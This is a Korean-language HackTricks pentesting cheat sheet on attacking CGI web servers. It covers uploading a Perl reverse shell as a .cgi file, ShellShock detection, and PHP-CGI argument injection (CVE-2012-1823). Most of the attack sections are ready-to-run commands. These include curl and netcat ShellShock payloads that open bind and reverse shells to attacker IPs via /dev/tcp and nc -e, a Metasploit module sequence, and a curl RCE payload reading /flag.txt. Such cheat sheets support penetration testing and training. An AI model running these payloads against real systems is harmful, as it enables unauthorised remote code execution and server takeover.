71 lines
5.1 KiB
Markdown

{{#include ../../banners/hacktricks-training.md}}
# 정보
**CGI 스크립트는 perl 스크립트**이므로, _**.cgi**_ 스크립트를 실행할 수 있는 서버를 침해한 경우 **perl 리버스 셸** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\)을 **업로드**하고, **확장자를** **.pl**에서 **.cgi**로 변경한 후, **실행 권한** \(`chmod +x`\)을 부여하고 **웹 브라우저**에서 리버스 셸에 **접속**하여 실행할 수 있습니다. **CGI 취약점**을 테스트하기 위해 `nikto -C all` \(및 모든 플러그인\)을 사용하는 것이 권장됩니다.
# **ShellShock**
**ShellShock**는 Unix 기반 운영 체제에서 널리 사용되는 **Bash** 명령줄 셸에 영향을 미치는 **취약점**입니다. 이는 Bash가 애플리케이션에 의해 전달된 명령을 실행할 수 있는 능력을 목표로 합니다. 취약점은 **환경 변수**의 조작에 있으며, 이는 컴퓨터에서 프로세스가 실행되는 방식에 영향을 미치는 동적 이름 값입니다. 공격자는 환경 변수에 **악성 코드**를 첨부하여 변수를 수신할 때 실행되도록 할 수 있습니다. 이를 통해 공격자는 시스템을 손상시킬 수 있습니다.
이 취약점을 악용하면 **페이지에서 오류가 발생할 수 있습니다**.
이 취약점을 **찾을 수 있는** 방법은 **구식 Apache 버전**과 **cgi_mod** \(cgi 폴더 포함\)을 사용하고 있는 것을 확인하거나 **nikto**를 사용하는 것입니다.
## **테스트**
대부분의 테스트는 무언가를 에코하고 해당 문자열이 웹 응답으로 반환되기를 기대하는 방식으로 진행됩니다. 페이지가 취약할 수 있다고 생각되면 모든 cgi 페이지를 검색하고 테스트하십시오.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(반사, 블라인드 및 아웃 오브 밴드\)**
```bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```
[**Shellsocker**](https://github.com/liamim/shellshocker)
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
## 익스플로잇
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```
# **프록시 \(MitM에서 웹 서버 요청으로\)**
CGI는 http 요청의 각 헤더에 대해 환경 변수를 생성합니다. 예를 들어: "host:web.com"은 "HTTP_HOST"="web.com"으로 생성됩니다.
HTTP_PROXY 변수가 웹 서버에 의해 사용될 수 있으므로, "**헤더**에 다음을 포함하여 전송해 보십시오: "**Proxy: <IP_attacker>:<PORT>**" 그리고 서버가 세션 중에 요청을 수행하는 경우, 서버가 만든 각 요청을 캡처할 수 있습니다.
# 구형 PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
기본적으로 cgi가 활성화되어 있고 php가 "구형" \(<5.3.12 / < 5.4.2\)인 경우 코드를 실행할 수 있습니다.
이 취약점을 악용하기 위해서는 매개변수를 전송하지 않고 \(특히 "=" 문자를 전송하지 않고\) 웹 서버의 일부 PHP 파일에 접근해야 합니다.
그런 다음 이 취약점을 테스트하기 위해 예를 들어 `/index.php?-s`에 접근할 수 있으며 \(note the `-s`\) **응답에 애플리케이션의 소스 코드가 나타납니다**.
그런 다음 **RCE**를 얻기 위해 이 특별한 쿼리를 전송할 수 있습니다: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` 그리고 **요청 본문에 실행할 PHP 코드**.
예:**
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**취약점 및 가능한 익스플로잇에 대한 추가 정보:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF 작성 예시**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
{{#include ../../banners/hacktricks-training.md}}